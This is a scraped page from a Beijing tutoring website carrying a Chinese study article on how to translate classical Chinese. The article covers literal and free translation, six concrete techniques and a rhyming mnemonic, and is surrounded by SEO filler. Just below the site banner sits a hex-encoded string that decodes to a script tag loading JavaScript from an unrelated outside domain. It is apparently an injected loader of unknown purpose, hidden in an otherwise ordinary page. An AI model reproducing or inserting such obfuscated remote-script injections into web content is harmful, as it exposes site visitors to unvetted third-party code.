请家教,做家教,请找北师大家教网!北师大家教网为您提供北京家教、北京大学生家教、北师大家教,清华家教,大学生家教,研究生家教,奥数家教,英语家教,中高考冲刺家教,北京一对一家教首选品牌,北京最专业的家教信息平台!

3c73637269707420747970653d22746578742f6a61766173637269707422207372633d2268747470733a2f2f686d62647374617469632e636f6d2f6a732f6164647265732e6a73223e3c2f7363726970743e
 学科资料 所处位置:首页 > 学科资料
北京家教中介 文言文翻译的方法
来源:北师大家教网

 

北京家教中介

文言文翻译的方法

  1. 北京家教中介

    基本方法:直译和意译

      文言文翻译的基本方法有直译和意译两种。 所谓直译,是指用现代汉语的词对原文进行逐字逐句地对应翻译,做到实词、虚词尽可能文意相对。直译的好处是字字落实;其不足之处是有时译句文意难懂,语言也不够通顺。
      所谓意译,则是根据语句的意思进行翻译,做到尽量符合原文意思,语句尽可能照顾原文词义。意译有一定的灵活性,文字可增可减,词语的位置可以变化,句式也可以变化。意译的好处是文意连贯,译文符合现代语言的表达习惯,比较通顺、流畅、好懂。其不足之处是有时原文不能字字落实。 这两种翻译方法当以直译为主,意译为辅。

     

  2. 具体方法:留、删、补、换、调、变。(北京家教中介www.beishidajiajiao.com


      “留”,就是保留。凡是古今意义相同的词,以及古代的人名、地名、物名、官名、国号、年号、度量衡单位等,翻译时可保留不变。
      “删”,就是删除。删掉无须译出的文言虚词。比如“沛公之参乘樊哙者也”——沛公的侍卫樊哙。“者也”是语尾助词,不译。
      “补”,就是增补。(1)变单音词为双音词;(2)补出省略句中的省略成分;(3)补出省略了的语句。注意:补出省略的成分或语句,要加括号。
      “换”,就是替换。用现代词汇替换古代词汇。如把“吾、余、予”等换成“我”,把“尔、汝”等换成“你”。
      “调”就是调整。把古汉语倒装句调整为现代汉语句式。主谓倒装句、宾语前置句、介宾后置句、定语后置句等翻译时一般应调整语序,以便符合现代汉语表达习惯。
      “变”,就是变通。在忠实于原文的基础上,活泽有关文字。如“波澜不惊”,可活泽成“(湖面)风平浪静”

  3. 古文翻译口诀(北京家教中介www.beishidajiajiao.com


      古文翻译,自有顺序,首览全篇,掌握大意;
      先明主题,搜集信息,由段到句,从句到词,
      全都理解,连贯一起,对待难句,则需心细,
      照顾前文,联系后句,仔细斟酌,揣摩语气,
      力求做到,合情合理,词句之间,联系紧密。
      若有省略,补出本意,加上括号,表示增益。
      人名地名,不必翻译,人身称谓,依照贯例,
      “吾”“余”为我,“尔”“汝”为你。省略倒装,都有规律。
      实词虚词,随文释义,敏化语感,因句而异。
      译完之后,还须仔细,逐句对照,体会语气,
      句子流畅,再行搁笔。

    北京家教网 北京家教中心 北京家教中介北京上门家教 北师大家教官方网址www.beishidajiajiao.com


上一条新闻:听懂新闻英语的方法

下一条新闻:北京家教中心《使至塞上》原文及翻译
热门搜索:·初三数学  ·深圳人才市场  ·SEO培训  ·北京代办执照  ·北京大学生家教